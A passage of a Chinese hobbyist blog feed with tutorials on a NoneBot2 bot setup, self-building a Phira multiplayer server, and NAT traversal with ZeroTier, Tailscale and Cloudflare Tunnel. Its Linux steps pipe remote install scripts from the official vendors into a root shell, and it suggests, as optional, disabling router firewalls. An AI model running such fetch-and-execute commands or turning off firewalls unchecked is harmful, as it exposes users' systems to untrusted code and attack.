如果有一个指令为 查询，当该配置项中有 &amp;quot;&#x2F;&amp;quot; 时使用 &amp;quot;&#x2F;查询&amp;quot; 才能够触发，
留空将使用默认值 [&amp;#39;&amp;#39;, &amp;#39;&#x2F;&amp;#39;, &amp;#39;#&amp;#39;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令分隔符，一般用于二级指令，
留空将使用默认值 [&amp;#39;.&amp;#39;, &amp;#39; &amp;#39;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可
[?] 请输入 &amp;gt; 127.0.0.1
请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关
[?] 请输入 &amp;gt; 8080
[?] 是否在项目目录中释出快捷启动脚本？ Yes
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes
[?] 是否使用超级用户 Ping 指令回复插件？ Yes
[?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No
成功新建项目 onanibot
[?] 是否新建虚拟环境？ Yes
正在 C:\afbot\onanibot\.venv 中创建虚拟环境
创建虚拟环境成功
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No
[?] 是否立即安装项目依赖？ Yes
正在安装项目依赖
依赖安装成功
[?] 请选择需要启用的内置插件
项目配置完毕，开始使用吧！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;9&quot;&gt;
&lt;li&gt;
&lt;p&gt;项目创建完毕后启动：&lt;code&gt;nb run&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;出现：&lt;code&gt;[INFO] nonebot | OneBot V11 | Bot XXXXXXXXXX connected&lt;&#x2F;code&gt; 你就成功连接上 Lagrange 了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;测试，发个&lt;code&gt;&#x2F;ping&lt;&#x2F;code&gt;，看是否出现Pong~&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果你要调试 NoneBot2，请先使用&lt;code&gt;nb&lt;&#x2F;code&gt; 进入虚拟环境。然后使用&lt;code&gt;pip install &amp;lt;包名&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Phira多人联机服务器搭建&#x2F;使用教程</title>
        <published>2024-11-06T00:00:00+00:00</published>
        <updated>2024-11-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/phira-mp/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/phira-mp/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/phira-mp/">&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;phira-mp-autobuild&quot;&gt;https://github.com&#x2F;afoim&#x2F;phira-mp-autobuild&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里有一些由Github Action自动构建的服务端文件，涵盖以下系统和架构&lt;img src=&quot;..&#x2F;assets&#x2F;images&#x2F;2024-11-06-08-28-34-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;也可以前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://phira.dmocken.top&#x2F;Multiplayer%20Server%E5%A4%9A%E4%BA%BA%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8&quot;&gt;Multiplayer Server | Dmocken的Phira下载站&lt;&#x2F;a&gt;自行寻找&lt;&#x2F;p&gt;
&lt;p&gt;寻找适用于你的系统的文件，下载下来并执行即可。默认服务端将会在你的主机12346端口上开放，如果需要自定义端口，请使用&lt;code&gt;--port&lt;&#x2F;code&gt;参数指定端口。然后即可使用Phira来填写IP&#x2F;域名:端口来连接&lt;&#x2F;p&gt;
&lt;p&gt;*如果要显示Log，请使用 &lt;code&gt;RUST_LOG=debug .&#x2F;xxx&lt;&#x2F;code&gt; 去运行，默认日志等级是 &lt;code&gt;WARN&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果这些文件不适用于你正在使用的系统请前往&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;phira-mp&#x2F;#%E8%87%AA%E8%A1%8C%E6%9E%84%E5%BB%BA%E9%AB%98%E7%BA%A7&quot;&gt;自行构建（高级）&lt;&#x2F;a&gt;继续阅读&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zi-xing-gou-jian-gao-ji&quot;&gt;自行构建（高级）&lt;&#x2F;h1&gt;
&lt;p&gt;由于phira-mp使用Rust编写，若想要自行构建需要在你的操作系统上安装Rust环境&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dui-yu-windows&quot;&gt;对于Windows&lt;&#x2F;h2&gt;
&lt;p&gt;前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.rust-lang.org&#x2F;zh-CN&#x2F;learn&#x2F;get-started&quot;&gt;Rust 下载页&lt;&#x2F;a&gt;，下载 Rust  &lt;img src=&quot;..&#x2F;assets&#x2F;images&#x2F;2024-11-06-09-57-44-6b333b87e835dfa299b0c3c95e5ea4e0.webp&quot; alt=&quot;&quot; &#x2F;&gt;
打开后会弹出一个 CMD 窗口，输入 1（Quick Install）回车，等待 Visual Studio 安装（如果此步 Visual Studio 下载很慢也可以&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://visualstudio.microsoft.com&#x2F;zh-hans&#x2F;downloads&#x2F;&quot;&gt;手动下载&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;..&#x2F;assets&#x2F;images&#x2F;2024-11-06-09-57-49-61b4d36dc8cd1ce47da66be5e2a920cd.webp&quot; alt=&quot;&quot; &#x2F;&gt;在 Visual Studio 中，勾选&lt;strong&gt;使用 C++ 的桌面开发&lt;&#x2F;strong&gt;，然后安装&lt;br &#x2F;&gt;
&lt;img src=&quot;..&#x2F;assets&#x2F;images&#x2F;2024-11-06-09-58-05-390c775c83dc245b0690fda699bfee5f.webp&quot; alt=&quot;&quot; &#x2F;&gt;然后请跳过 Linux 教程直接阅读[构建 phira-mp](# 使用Rust构建phira-mp)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dui-yu-linux&quot;&gt;对于Linux&lt;&#x2F;h2&gt;
&lt;p&gt;执行：&lt;code&gt;curl --proto &#x27;=https&#x27; --tlsv1.2 -sSf https://sh.rustup.rs | sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择 1 回车&lt;&#x2F;p&gt;
&lt;p&gt;执行：&lt;code&gt;source $HOME&#x2F;.cargo&#x2F;env&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-rustgou-jian-phira-mp&quot;&gt;使用Rust构建phira-mp&lt;&#x2F;h1&gt;
&lt;p&gt;克隆仓库：&lt;code&gt;git clone https://github.com&#x2F;TeamFlos&#x2F;phira-mp.git&lt;&#x2F;code&gt;（不支持IPv6）或&lt;code&gt;git clone https://github.com&#x2F;afoim&#x2F;phira-mp-autobuild.git&lt;&#x2F;code&gt;（支持IPv6）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;cd phira-mp&lt;&#x2F;code&gt;或&lt;code&gt;cd phira-mp-autobuild&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;更新依赖：&lt;code&gt;cargo update&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;构建：&lt;code&gt;cargo build --release -p phira-mp-server&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;运行程序并将 log 打印到终端，会显示你监听的端口：&lt;code&gt;RUST_LOG=info target&#x2F;release&#x2F;phira-mp-server&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
（如果你需要指定端口号：&lt;code&gt;RUST_LOG=info target&#x2F;release&#x2F;phira-mp-server --port 8080&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;..&#x2F;assets&#x2F;images&#x2F;2024-11-06-10-14-36-0dce4358b21773ae1261e7fc39339c32.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>究极喂饭教程，手把手教你内网穿透</title>
        <published>2024-10-28T00:00:00+00:00</published>
        <updated>2024-10-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/across-nat/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/across-nat/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/across-nat/">&lt;p&gt;详细报表：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;Zerotier&lt;&#x2F;th&gt;&lt;th&gt;Tailscale&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;单端DMZ（单端NAT1）&lt;&#x2F;td&gt;&lt;td&gt;STUN&lt;&#x2F;td&gt;&lt;td&gt;STUN&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;仅单端UPnP（单端NAT3）&lt;&#x2F;td&gt;&lt;td&gt;UDP P2P&lt;&#x2F;td&gt;&lt;td&gt;玄学穿透&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;双端UPnP（双端NAT3）&lt;&#x2F;td&gt;&lt;td&gt;UDP P2P&lt;&#x2F;td&gt;&lt;td&gt;玄学穿透&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;双端无UPnP&#x2F;DMZ（双端NAT3&#x2F;NAT4）&lt;&#x2F;td&gt;&lt;td&gt;UDP P2P&lt;&#x2F;td&gt;&lt;td&gt;无法穿透&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;自建中继&#x2F;握手节点&lt;&#x2F;td&gt;&lt;td&gt;√&lt;&#x2F;td&gt;&lt;td&gt;√&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;其实实际情况会更加复杂一点，但是你只要有 &lt;strong&gt;公网IPv6、UPnP、DMZ&lt;&#x2F;strong&gt; 中的其中一项，Zerotier就几乎是100%的打洞成功率&lt;&#x2F;p&gt;
&lt;p&gt;如何知道我是P2P还是中继？
ping你的对端设备，如果延迟大于200ms或者经常丢包大概率就是中继节点（也有小概率是你的设备负载过高导致无法及时接收和返回ping包）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sha-shi-nei-wang-chuan-tou&quot;&gt;啥是内网穿透？&lt;&#x2F;h1&gt;
&lt;p&gt;当我们在家中有个NAS，想要在学校&#x2F;公司的网络来访问，就需要用到内网穿透，实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qian-qi-zhun-bei&quot;&gt;前期准备&lt;&#x2F;h1&gt;
&lt;p&gt;路由器开启UPnP&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-08-00-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;关闭路由器的IPv4，IPv6防火墙 &lt;strong&gt;（可选）&lt;&#x2F;strong&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-09-19-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-zerotier-tailscalejin-xing-nei-wang-chuan-tou&quot;&gt;&lt;em&gt;使用Zerotier&#x2F;Tailscale进行内网穿透&lt;&#x2F;em&gt;&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;他们俩的原理都是尝试对端建立P2P连接，需要对端安装一个软件并且长期运行&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;shi-yong-zerotierjin-xing-nei-wang-chuan-tou-de-xiang-xi-jiao-cheng&quot;&gt;使用Zerotier进行内网穿透的详细教程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chuang-jian-zerotierzhang-hao&quot;&gt;创建Zerotier账号&lt;&#x2F;h2&gt;
&lt;p&gt;前往：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.zerotier.com&#x2F;&quot;&gt;ZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN&lt;&#x2F;a&gt;。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-12-51-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择 &lt;code&gt;Sign up&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-13-06-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你到了这个界面，请仍然选择&lt;code&gt;Sign up&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-15-08-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-16-52-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;账号创建完毕后，登录即可&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-17-47-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chuang-jian-yi-ge-xin-de-zerotierwang-luo-zu&quot;&gt;创建一个新的Zerotier网络组&lt;&#x2F;h2&gt;
&lt;p&gt;当你账号登录成功后，会自动跳转到这个页面，点击&lt;code&gt;Create A Network&lt;&#x2F;code&gt;。如果没有，请访问&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://my.zerotier.com&#x2F;&quot;&gt;ZeroTier Central&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-20-24-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下面的列表会增加一个新的网络组，点击它&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-21-31-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Zerotier默认的网络组模式为&lt;code&gt;Private&lt;&#x2F;code&gt;。即私密模式，哪怕别人知道了你的&lt;code&gt;Network ID&lt;&#x2F;code&gt;尝试加入你的网络组也需要你进行验证&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-22-38-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;复制这个&lt;code&gt;Network ID&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-22-13-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zai-she-bei-shang-an-zhuang-zerotierying-yong&quot;&gt;在设备上安装Zerotier应用&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;windows&quot;&gt;Windows：&lt;&#x2F;h2&gt;
&lt;p&gt;前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.zerotier.com&#x2F;download&#x2F;&quot;&gt;Download - ZeroTier&lt;&#x2F;a&gt;，下载exe安装文件&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-25-52-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;打开Zerotier&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-27-20-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看右下角托盘，按照图片操作加入网络组&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-28-20-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-29-12-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-30-26-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里可以查询到你的设备ID和你在这个网络组的IP&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-03-19-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;然后参考：&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-fei-niu-os&quot;&gt;Linux（飞牛OS）：&lt;&#x2F;h2&gt;
&lt;p&gt;通过SSH连接上你的Linux设备&lt;&#x2F;p&gt;
&lt;p&gt;查看安装命令：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.zerotier.com&#x2F;download&#x2F;&quot;&gt;Download - ZeroTier&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-38-19-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;终端执行： &lt;code&gt;curl -s https://install.zerotier.com | sudo bash&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;看到这一行即安装完毕，后面那一串即你的设备ID：&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-39-23-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;加入网络：&lt;code&gt;sudo zerotier-cli join 你的Network ID&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-42-01-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;然后参考：&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;android-an-zhuo&quot;&gt;Android（安卓）&lt;&#x2F;h2&gt;
&lt;p&gt;下载客户端&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Zerotier One：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://apkpure.net&#x2F;zerotier-one&#x2F;com.zerotier.one&quot;&gt;ZeroTier One APK Download for Android - Latest Version&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ZerotierFix：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;kaaass&#x2F;ZerotierFix&#x2F;releases&quot;&gt;Releases · kaaass&#x2F;ZerotierFix&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如图操作&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-59-06-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-59-46-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;然后参考：&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zerotiershou-quan-she-bei&quot;&gt;Zerotier授权设备&lt;&#x2F;h1&gt;
&lt;p&gt;前往Zerotier的网页控制台：&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;%5Bhttps://my.zerotier.com&#x2F;%5D(https://my.zerotier.com&#x2F;)&quot;&gt;ZeroTier Central&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;授权刚才加入的设备&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-31-51-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;勾选然后保存&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-17-33-10-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zerotierfang-wen-ce-shi&quot;&gt;Zerotier访问测试&lt;&#x2F;h1&gt;
&lt;p&gt;如果你同一个网络组里已经有两台以上的设备了，可以尝试ping一下测试连通性，请先确保两台设备不在同一个局域网（比如手机开流量，NAS用家里的无线网）&lt;&#x2F;p&gt;
&lt;p&gt;IP可以在这里查看&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-02-00-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ping测试：&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-07-13-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;shi-yong-tailscalejin-xing-nei-wang-chuan-tou-de-xiang-xi-jiao-cheng&quot;&gt;使用Tailscale进行内网穿透的详细教程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chuang-jian-tailscalezhang-hao&quot;&gt;创建Tailscale账号&lt;&#x2F;h2&gt;
&lt;p&gt;前往：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://login.tailscale.com&#x2F;start&quot;&gt;Tailscale&lt;&#x2F;a&gt;。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能&lt;&#x2F;p&gt;
&lt;p&gt;选择任意一个登录方式&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-24-32-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;账号创建完毕后，登录即可&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zai-she-bei-shang-an-zhuang-tailscaleying-yong&quot;&gt;在设备上安装Tailscale应用&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;windows-1&quot;&gt;Windows：&lt;&#x2F;h2&gt;
&lt;p&gt;前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://tailscale.com&#x2F;download&quot;&gt;Download · Tailscale&lt;&#x2F;a&gt;，下载exe安装文件&lt;&#x2F;p&gt;
&lt;p&gt;官方教程：&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-31-48-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-fei-niu-os-1&quot;&gt;Linux（飞牛OS）：&lt;&#x2F;h2&gt;
&lt;p&gt;通过SSH连接上你的Linux设备&lt;&#x2F;p&gt;
&lt;p&gt;查看安装命令：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://tailscale.com&#x2F;download&#x2F;linux&quot;&gt;Download · Tailscale&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-32-58-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;终端执行： &lt;code&gt;curl -fsSL https://tailscale.com&#x2F;install.sh | sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;等待安装完毕后输入：&lt;code&gt;tailscale login&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;打开弹出的浏览器窗口，登录你的账号即可&lt;&#x2F;p&gt;
&lt;h2 id=&quot;android-an-zhuo-1&quot;&gt;Android（安卓）&lt;&#x2F;h2&gt;
&lt;p&gt;下载客户端（Google Play）：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://tailscale.com&#x2F;download&#x2F;android&quot;&gt;Download · Tailscale&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;登录你的账号即可&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;tailscalefang-wen-ce-shi&quot;&gt;Tailscale访问测试&lt;&#x2F;h2&gt;
&lt;p&gt;前往Tailscale的网页控制台：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://login.tailscale.com&#x2F;admin&#x2F;machines&quot;&gt;Machines - Tailscale&lt;&#x2F;a&gt;。可以查看到每个设备Tailscale分配的IP&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-26-58-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ping测试&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-41-45-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;shi-yong-cloudflare-tunneljin-xing-nei-wang-chuan-tou&quot;&gt;使用Cloudflare Tunnel进行内网穿透&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法可以不进行任何配置直接在公网上被访问，但是仅限Web服务。如果你想穿透游戏服务器等则不可用。你需要先将域名托管到Cloudflare&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;创建Cloudflare账号&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://dash.cloudflare.com&#x2F;&quot;&gt;主页 | Cloudflare&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进入&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://one.dash.cloudflare.com&#x2F;&quot;&gt;Cloudflare One&lt;&#x2F;a&gt;（需要绑定PayPal）&lt;&#x2F;p&gt;
&lt;p&gt;如图操作，创建一个Tunnel&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-45-41-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-45-54-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-46-22-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dockerfang-shi&quot;&gt;Docker方式&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;使用1Panel&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;复制如图的命令&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;48e9c43eb5c0fb49cc5517687698e3d9d1e60220.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将其粘贴，并且复制后面的令牌&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a2e18519d3782d765d7293c7a3d21031c787d575.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;1Panel应用商店搜索&lt;code&gt;cloudflared&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;cf2eba61f0aaa7605240187e1c46f80a3954edfa.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
